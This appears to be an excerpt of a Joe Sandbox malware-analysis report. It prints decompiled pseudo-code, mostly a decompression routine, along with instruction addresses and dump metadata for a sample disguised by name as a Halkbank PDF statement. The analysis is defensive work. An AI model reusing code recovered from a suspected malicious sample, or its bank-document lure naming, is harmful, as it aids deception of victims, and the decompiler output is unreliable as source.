											_t484 = __ebp - 0x70;
											 *_t484 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t484;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L148:
											_t487 = __ebp - 0x48;
											 *_t487 =  *(__ebp - 0x48) - 1;
											__eflags =  *_t487;
											goto L149;
										case 0x19:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												 *(__ebp - 0x2c) = __ebx;
												L120:
												_t394 = __ebp - 0x2c;
												 *_t394 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t394;
												L121:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
												__eax =  *(__ebp - 0x30);
												_t401 = __ebp - 0x60;
												 *_t401 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t401;
												goto L124;
											}
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L103:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__eax = __eax + __ebx;
													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L109:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L113:
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														_t392 = __ebp - 0x2c;
														 *_t392 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t392;
														goto L120;
													}
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L112:
														_t369 = __ebp - 0x48;
														 *_t369 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t369;
														goto L113;
													} else {
														goto L110;
													}
												}
												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L102:
													_t339 = __ebp - 0x48;
													 *_t339 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t339;
													goto L103;
												} else {
													goto L100;
												}
											}
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L109;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											__ecx =  *(__ebp - 0x68);
											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
											goto L80;
										case 0x1b:
											L76:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t275 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t275;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t284 = __ebp - 0x64;
											 *_t284 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t284;
											 *( *(__ebp - 0x68)) = __cl;
											L80:
											 *(__ebp - 0x14) = __edx;
											goto L81;
										case 0x1c:
											while(1) {
												L124:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t415 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t415;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t415;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L81:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											 *(__ebp - 0x88) = 0x1c;
											L170:
											_push(0x22);
											_pop(_t567);
											memcpy( *(_t612 - 0x90), _t612 - 0x88, _t567 << 2);
											_t535 = 0;
											L172:
											return _t535;
									}
								}
								L171:
								_t535 = _t534 | 0xffffffff;
								goto L172;
							}
						}
						__eax =  *(__ebp - 0x50);
						 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
						__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
						__eax =  *(__ebp - 0x58);
						__esi = __edx + __eax;
						 *(__ebp - 0x54) = __esi;
						__ax =  *__esi;
						__edi = __ax & 0x0000ffff;
						__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
						if( *(__ebp - 0xc) >= __ecx) {
							 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
							__cx = __ax;
							__cx = __ax >> 5;
							__eax = __eax - __ecx;
							__edx = __edx + 1;
							 *__esi = __ax;
							 *(__ebp - 0x50) = __edx;
						} else {
							 *(__ebp - 0x10) = __ecx;
							0x800 = 0x800 - __edi;
							0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
							 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
							 *__esi = __cx;
						}
						if( *(__ebp - 0x10) >= 0x1000000) {
							goto L148;
						} else {
							goto L146;
						}
					}
					goto L1;
				}
			}

0x00000000
0x00407395
0x00407395
0x00407399
0x004073be
0x004073c8
0x00000000
0x0040739b
0x0040739b
0x0040739e
0x004073a2
0x004073a5
0x004073a8
0x004073ac
0x004073ac
0x004073af
0x00407489
0x00407489
0x00407490
0x00407490
0x00407493
0x0040749a
0x004074c7
0x004074cb
0x0040752b
0x0040752e
0x00407533
0x00407534
0x00407536
0x00407538
0x0040753b
0x00407447
0x00407447
0x00407447
0x00406be3
0x00406be3
0x00406be3
0x00406bec
0x00000000
0x00000000
0x00406bf2
0x00000000
0x00406bfd
0x00000000
0x00000000
0x00406c06
0x00406c09
0x00406c0c
0x00406c10
0x00000000
0x00000000
0x00406c16
0x00406c19
0x00406c1b
0x00406c1c
0x00406c1f
0x00406c21
0x00406c22
0x00406c24
0x00406c27
0x00406c2c
0x00406c31
0x00406c3a
0x00406c4d
0x00406c50
0x00406c5c
0x00406c84
0x00406c86
0x00406c94
0x00406c94
0x00406c98
0x00000000
0x00000000
0x00000000
0x00000000
0x00406c88
0x00406c88
0x00406c8b
0x00406c8c
0x00406c8c
0x00000000
0x00406c88
0x00406c62
0x00406c67
0x00406c67
0x00406c70
0x00406c78
0x00406c7b
0x00000000
0x00406c81
0x00406c81
0x00000000
0x00406c81
0x00000000
0x00406c9e
0x00406c9e
0x00406ca2
0x0040754e
0x00000000
0x0040754e
0x00406cab
0x00406cbb
0x00406cbe
0x00406cc1
0x00406cc1
0x00406cc1
0x00406cc4
0x00406cc8
0x00000000
0x00000000
0x00406cca
0x00406cd0
0x00406cfa
0x00406d00
0x00406d07
0x00000000
0x00406d07
0x00406cd6
0x00406cd9
0x00406cde
0x00406cde
0x00406ce9
0x00406cf1
0x00406cf4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406d39
0x00406d3f
0x00406d42
0x00406d4f
0x00406d57
0x00000000
0x00000000
0x00406d0e
0x00406d0e
0x00406d12
0x0040755d
0x00000000
0x0040755d
0x00406d1e
0x00406d29
0x00406d29
0x00406d29
0x00406d2c
0x00406d2f
0x00406d32
0x00406d37
0x00000000
0x00000000
0x00000000
0x00000000
0x004073ce
0x004073ce
0x004073d4
0x004073da
0x004073e0
0x004073fa
0x004073fd
0x00407403
0x0040740e
0x0040740e
0x00407410
0x004073e2
0x004073e2
0x004073f1
0x004073f5
0x004073f5
0x0040741a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040741c
0x00407420
0x004075cf
0x00000000
0x004075cf
0x0040742c
0x00407433
0x0040743b
0x0040743e
0x00407441
0x00407441
0x00000000
0x00000000
0x00406d5f
0x00406d61
0x00406d64
0x00406dd5
0x00406dd8
0x00406ddb
0x00406de2
0x00406dec
0x00000000
0x00406dec
0x00406d66
0x00406d6a
0x00406d6d
0x00406d6f
0x00406d72
0x00406d75
0x00406d77
0x00406d7a
0x00406d7c
0x00406d81
0x00406d84
0x00406d87
0x00406d8b
0x00406d92
0x00406d95
0x00406d9c
0x00406da0
0x00406da8
0x00406da8
0x00406da8
0x00406da2
0x00406da2
0x00406da2
0x00406d97
0x00406d97
0x00406d97
0x00406dac
0x00406daf
0x00406dcd
0x00406dcf
0x00000000
0x00406db1
0x00406db1
0x00406db4
0x00406db7
0x00406dba
0x00406dbc
0x00406dbc
0x00406dbc
0x00406dbf
0x00406dc2
0x00406dc4
0x00406dc5
0x00406dc8
0x00000000
0x00406dc8
0x00000000
0x00406ffe
0x00407002
0x00407020
0x00407023
0x0040702a
0x0040702d
0x00407030
0x00407033
0x00407036
0x00407039
0x0040703b
0x00407042
0x00407043
0x00407045
0x00407048
0x0040704b
0x0040704e
0x0040704e
0x00407053
0x00000000
0x00407053
0x00407004
0x00407007
0x0040700a
0x00407014
0x00000000
0x00000000
0x00407068
0x0040706c
0x0040708f
0x00407092
0x00407095
0x0040709f
0x0040706e
0x0040706e
0x00407071
0x00407074
0x00407077
0x00407084
0x00407087
0x00407087
0x00000000
0x00000000
0x004070ab
0x004070af
0x00000000
0x00000000
0x004070b5
0x004070b9
0x00000000
0x00000000
0x004070bf
0x004070c1
0x004070c5
0x004070c5
0x004070c8
0x004070cc
0x00000000
0x00000000
0x0040711c
0x00407120
0x00407127
0x0040712a
0x0040712d
0x00407137
0x00000000
0x00407137
0x00407122
0x00000000
0x00000000
0x00407143
0x00407147
0x0040714e
0x00407151
0x00407154
0x00407149
0x00407149
0x00407149
0x00407157
0x0040715a
0x0040715d
0x0040715d
0x00407160
0x00407163
0x00407166
0x00407166
0x00407169
0x00407170
0x00407175
0x00000000
0x00000000
0x00407203
0x00407203
0x00407207
0x004075a5
0x00000000
0x004075a5
0x0040720d
0x00407210
0x00407213
0x00407217
0x0040721a
0x00407220
0x00407222
0x00407222
0x00407222
0x00407225
0x00407228
0x00000000
0x00000000
0x00406df8
0x00406df8
0x00406dfc
0x00407569
0x00000000
0x00407569
0x00406e02
0x00406e05
0x00406e08
0x00406e0c
0x00406e0f
0x00406e15
0x00406e17
0x00406e17
0x00406e17
0x00406e1a
0x00406e1d
0x00406e1d
0x00406e20
0x00406e23
0x00000000
0x00000000
0x00406e29
0x00406e2f
0x00000000
0x00000000
0x00406e35
0x00406e35
0x00406e39
0x00406e3c
0x00406e3f
0x00406e42
0x00406e45
0x00406e46
0x00406e49
0x00406e4b
0x00406e51
0x00406e54
0x00406e57
0x00406e5a
0x00406e5d
0x00406e60
0x00406e63
0x00406e7f
0x00406e82
0x00406e85
0x00406e88
0x00406e8f
0x00406e93
0x00406e95
0x00406e99
0x00406e65
0x00406e65
0x00406e69
0x00406e71
0x00406e76
0x00406e78
0x00406e7a
0x00406e7a
0x00406e9c
0x00406ea3
0x00406ea6
0x00000000
0x00406eac
0x00000000
0x00406eac
0x00000000
0x00406eb1
0x00406eb1
0x00406eb5
0x00407575
0x00000000
0x00407575
0x00406ebb
0x00406ebe
0x00406ec1
0x00406ec5
0x00406ec8
0x00406ece
0x00406ed0
0x00406ed0
0x00406ed0
0x00406ed3
0x00406ed6
0x00406ed6
0x00406ed6
0x00406edc
0x00000000
0x00000000
0x00406ede
0x00406ee1
0x00406ee4
0x00406ee7
0x00406eea
0x00406eed
0x00406ef0
0x00406ef3
0x00406ef6
0x00406ef9
0x00406efc
0x00406f14
0x00406f17
0x00406f1a
0x00406f1d
0x00406f1d
0x00406f20
0x00406f24
0x00406f26
0x00406efe
0x00406efe
0x00406f06
0x00406f0b
0x00406f0d
0x00406f0f
0x00406f0f
0x00406f29
0x00406f30
0x00406f33
0x00000000
0x00406f35
0x00000000
0x00406f35
0x00406f33
0x00406f3a
0x00406f3a
0x00406f3a
0x00406f3a
0x00000000
0x00000000
0x00406f75
0x00406f75
0x00406f79
0x00407581
0x00000000
0x00407581
0x00406f7f
0x00406f82
0x00406f85
0x00406f89
0x00406f8c
0x00406f92
0x00406f94
0x00406f94
0x00406f94
0x00406f97
0x00406f9a
0x00406f9a
0x00406fa0
0x00406f3e
0x00406f3e
0x00406f41
0x00000000
0x00406f41
0x00406fa2
0x00406fa2
0x00406fa5
0x00406fa8
0x00406fab
0x00406fae
0x00406fb1
0x00406fb4
0x00406fb7
0x00406fba
0x00406fbd
0x00406fc0
0x00406fd8
0x00406fdb
0x00406fde
0x00406fe1
0x00406fe1
0x00406fe4
0x00406fe8
0x00406fea
0x00406fc2
0x00406fc2
0x00406fca
0x00406fcf
0x00406fd1
0x00406fd3
0x00406fd3
0x00406fed
0x00406ff4
0x00406ff7
0x00000000
0x00406ff9
0x00000000
0x00406ff9
0x00000000
0x00407286
0x00407286
0x0040728a
0x004075b1
0x00000000
0x004075b1
0x00407290
0x00407293
0x00407296
0x0040729a
0x0040729d
0x004072a3
0x004072a5
0x004072a5
0x004072a5
0x004072a8
0x00000000
0x00000000
0x00407056
0x00407056
0x00407059
0x004073cb
0x004073cb
0x00000000
0x00000000
0x00000000
0x00000000
0x00407452
0x00407456
0x00407474
0x00407474
0x00407474
0x0040747b
0x00407482
0x00000000
0x00407482
0x00407458
0x0040745b
0x0040745e
0x00407461
0x00407468
0x00000000
0x00000000
0x00407543
0x00407546
0x00407447
0x00407447
0x00000000
0x00000000
0x0040717d
0x0040717f
0x00407186
0x00407187
0x00407189
0x0040718c
0x00000000
0x00000000
0x00407194
0x00407197
0x0040719a
0x0040719c
0x0040719e
0x0040719e
0x0040719f
0x004071a2
0x004071a9
0x004071ac
0x004071ba
0x00000000
0x00000000
0x00000000
0x00000000
0x0040749f
0x0040749f
0x004074a3
0x004075db
0x00000000
0x004075db
0x004074a9
0x004074ac
0x004074af
0x004074b3
0x004074b6
0x004074bc
0x004074be
0x004074be
0x004074be
0x004074c1
0x004074c4
0x004074c4
0x004074c4
0x004074c4
0x00000000
0x00000000
0x004071c2
0x004071c5
0x004071fb
0x0040732b
0x0040732b
0x0040732b
0x0040732b
0x0040732e
0x0040732e
0x00407331
0x00407333
0x004075bd
0x00000000
0x004075bd
0x00407339
0x0040733c
0x00000000
0x00000000
0x00407342
0x00407346
0x00407349
0x00407349
0x00407349
0x00000000
0x00407349
0x004071c7
0x004071c9
0x004071cb
0x004071cd
0x004071d0
0x004071d1
0x004071d3
0x004071d5
0x004071d8
0x004071db
0x004071f1
0x004071f6
0x0040722e
0x0040722e
0x00407232
0x0040725e
0x00407260
0x00407267
0x0040726a
0x0040726d
0x0040726d
0x00407272
0x00407272
0x00407274
0x00407277
0x0040727e
0x00407281
0x004072ae
0x004072ae
0x004072b1
0x004072b4
0x00407328
0x00407328
0x00407328
0x00000000
0x00407328
0x004072b6
0x004072bc
0x004072bf
0x004072c2
0x004072c5
0x004072c8
0x004072cb
0x004072ce
0x004072d1
0x004072d4
0x004072d7
0x004072f0
0x004072f2
0x004072f5
0x004072f6
0x004072f9
0x004072fb
0x004072fe
0x00407300
0x00407302
0x00407305
0x00407307
0x0040730a
0x0040730e
0x00407310
0x00407310
0x00407311
0x00407314
0x00407317
0x004072d9
0x004072d9
0x004072e1
0x004072e6
0x004072e8
0x004072eb
0x004072eb
0x0040731a
0x00407321
0x004072ab
0x004072ab
0x004072ab
0x004072ab
0x00000000
0x00407323
0x00000000
0x00407323
0x00407321
0x00407234
0x00407237
0x00407239
0x0040723c
0x0040723f
0x00407242
0x00407244
0x00407247
0x0040724a
0x0040724a
0x0040724d
0x0040724d
0x00407250
0x00407257
0x0040722b
0x0040722b
0x0040722b
0x0040722b
0x00000000
0x00407259
0x00000000
0x00407259
0x00407257
0x004071dd
0x004071e0
0x004071e2
0x004071e5
0x00000000
0x00000000
0x00406f44
0x00406f44
0x00406f48
0x0040758d
0x00000000
0x0040758d
0x00406f4e
0x00406f51
0x00406f54
0x00406f57
0x00406f5a
0x00406f5d
0x00406f60
0x00406f62
0x00406f65
0x00406f68
0x00406f6b
0x00406f6d
0x00406f6d
0x00406f6d
0x00000000
0x00000000
0x004070cf
0x004070cf
0x004070d3
0x00407599
0x00000000
0x00407599
0x004070d9
0x004070dc
0x004070df
0x004070e2
0x004070e4
0x004070e4
0x004070e4
0x004070e7
0x004070ea
0x004070ed
0x004070f0
0x004070f3
0x004070f6
0x004070f7
0x004070f9
0x004070f9
0x004070f9
0x004070fc
0x004070ff
0x00407102
0x00407105
0x00407105
0x00407105
0x00407108
0x0040710a
0x0040710a
0x00000000
0x00000000
0x0040734c
0x0040734c
0x0040734c
0x00407350
0x00000000
0x00000000
0x00407356
0x00407359
0x0040735c
0x0040735f
0x00407361
0x00407361
0x00407361
0x00407364
0x00407367
0x0040736a
0x0040736d
0x00407370
0x00407373
0x00407374
0x00407376
0x00407376
0x00407376
0x00407379
0x0040737c
0x0040737f
0x00407382
0x00407385
0x00407389
0x0040738b
0x0040738e
0x00000000
0x00407390
0x0040710d
0x0040710d
0x00000000
0x0040710d
0x0040738e
0x004075c3
0x004075e5
0x004075eb
0x004075ed
0x004075f4
0x004075f6
0x004075fd
0x00407601
0x00000000
0x00406bf2
0x004075fa
0x004075fa
0x00000000
0x004075fa
0x00407447
0x004074cd
0x004074d3
0x004074d6
0x004074d9
0x004074dc
0x004074df
0x004074e2
0x004074e5
0x004074e8
0x004074ee
0x00407507
0x0040750a
0x0040750d
0x00407510
0x00407514
0x00407516
0x00407517
0x0040751a
0x004074f0
0x004074f0
0x004074f8
0x004074fd
0x004074ff
0x00407502
0x00407502
0x00407524
0x00000000
0x00407526
0x00000000
0x00407526
0x00407524
0x00000000
0x00407399

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97748a737734167d5846b9d8dd4738ada3f75d0b833fdafa89234df63502b4a5
Instruction ID: d49815ad38d406b3cd0a1a90ea7be1526168d9e39684835ffa6a026ef1ef4849
Opcode Fuzzy Hash: 97748a737734167d5846b9d8dd4738ada3f75d0b833fdafa89234df63502b4a5
Instruction Fuzzy Hash: 91913270D04228DBEF28CF98C8547ADBBB1FF44305F14816AD856BB281D778A986DF45

Uniqueness

Uniqueness Score: -1.00%

Function 004070AB Relevance: 5.2, APIs: 4, Instructions: 205
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E004070AB() {
				unsigned short _t532;
				signed int _t533;
				void _t534;
				void* _t535;
				signed int _t536;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						L89:
						 *((intOrPtr*)(_t613 - 0x80)) = 0x15;
						 *(_t613 - 0x58) =  *(_t613 - 4) + 0xa68;
						L69:
						_t606 =  *(_t613 - 0x58);
						 *(_t613 - 0x84) = 0x12;
						L132:
						 *(_t613 - 0x54) = _t606;
						L133:
						_t532 =  *_t606;
						_t589 = _t532 & 0x0000ffff;
						_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
						if( *(_t613 - 0xc) >= _t565) {
							 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
							 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
							 *(_t613 - 0x40) = 1;
							_t533 = _t532 - (_t532 >> 5);
							 *_t606 = _t533;
						} else {
							 *(_t613 - 0x10) = _t565;
							 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
							 *_t606 = (0x800 - _t589 >> 5) + _t532;
						}
						if( *(_t613 - 0x10) >= 0x1000000) {
							L139:
							_t534 =  *(_t613 - 0x84);
							L140:
							 *(_t613 - 0x88) = _t534;
							goto L1;
						} else {
							L137:
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 5;
								goto L170;
							}
							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							goto L139;
						}
					} else {
						if( *(__ebp - 0x60) == 0) {
							L171:
							_t536 = _t535 | 0xffffffff;
							L172:
							return _t536;
						}
						__eax = 0;
						_t258 =  *(__ebp - 0x38) - 7 >= 0;
						0 | _t258 = _t258 + _t258 + 9;
						 *(__ebp - 0x38) = _t258 + _t258 + 9;
						L75:
						if( *(__ebp - 0x64) == 0) {
							 *(__ebp - 0x88) = 0x1b;
							L170:
							_t568 = 0x22;
							memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
							_t536 = 0;
							goto L172;
						}
						__eax =  *(__ebp - 0x14);
						__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
						if(__eax >=  *(__ebp - 0x74)) {
							__eax = __eax +  *(__ebp - 0x74);
						}
						__edx =  *(__ebp - 8);
						__cl =  *(__eax + __edx);
						__eax =  *(__ebp - 0x14);
						 *(__ebp - 0x5c) = __cl;
						 *(__eax + __edx) = __cl;
						__eax = __eax + 1;
						__edx = 0;
						_t274 = __eax %  *(__ebp - 0x74);
						__eax = __eax /  *(__ebp - 0x74);
						__edx = _t274;
						__eax =  *(__ebp - 0x68);
						 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
						 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
						_t283 = __ebp - 0x64;
						 *_t283 =  *(__ebp - 0x64) - 1;
						 *( *(__ebp - 0x68)) = __cl;
						L79:
						 *(__ebp - 0x14) = __edx;
						L80:
						 *(__ebp - 0x88) = 2;
					}
					L1:
					_t535 =  *(_t613 - 0x88);
					if(_t535 > 0x1c) {
						goto L171;
					}
					switch( *((intOrPtr*)(_t535 * 4 +  &M00407602))) {
						case 0:
							if( *(_t613 - 0x6c) == 0) {
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							_t535 =  *( *(_t613 - 0x70));
							if(_t535 > 0xe1) {
								goto L171;
							}
							_t539 = _t535 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t570);
							_push(9);
							_pop(_t571);
							_t609 = _t539 / _t570;
							_t541 = _t539 % _t570 & 0x000000ff;
							asm("cdq");
							_t604 = _t541 % _t571 & 0x000000ff;
							 *(_t613 - 0x3c) = _t604;
							 *(_t613 - 0x1c) = (1 << _t609) - 1;
							 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t541 / _t571) - 1;
							_t612 = (0x300 << _t604 + _t609) + 0x736;
							if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
								L10:
								if(_t612 == 0) {
									L12:
									 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
									goto L15;
								} else {
									goto L11;
								}
								do {
									L11:
									_t612 = _t612 - 1;
									 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
								} while (_t612 != 0);
								goto L12;
							}
							if( *(_t613 - 4) != 0) {
								GlobalFree( *(_t613 - 4));
							}
							_t535 = GlobalAlloc(0x40, 0x600); // executed
							 *(_t613 - 4) = _t535;
							if(_t535 == 0) {
								goto L171;
							} else {
								 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
								goto L10;
							}
						case 1:
							L13:
							__eflags =  *(_t613 - 0x6c);
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 1;
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							_t45 = _t613 - 0x48;
							 *_t45 =  *(_t613 - 0x48) + 1;
							__eflags =  *_t45;
							L15:
							if( *(_t613 - 0x48) < 4) {
								goto L13;
							}
							_t547 =  *(_t613 - 0x40);
							if(_t547 ==  *(_t613 - 0x74)) {
								L20:
								 *(_t613 - 0x48) = 5;
								 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
								goto L23;
							}
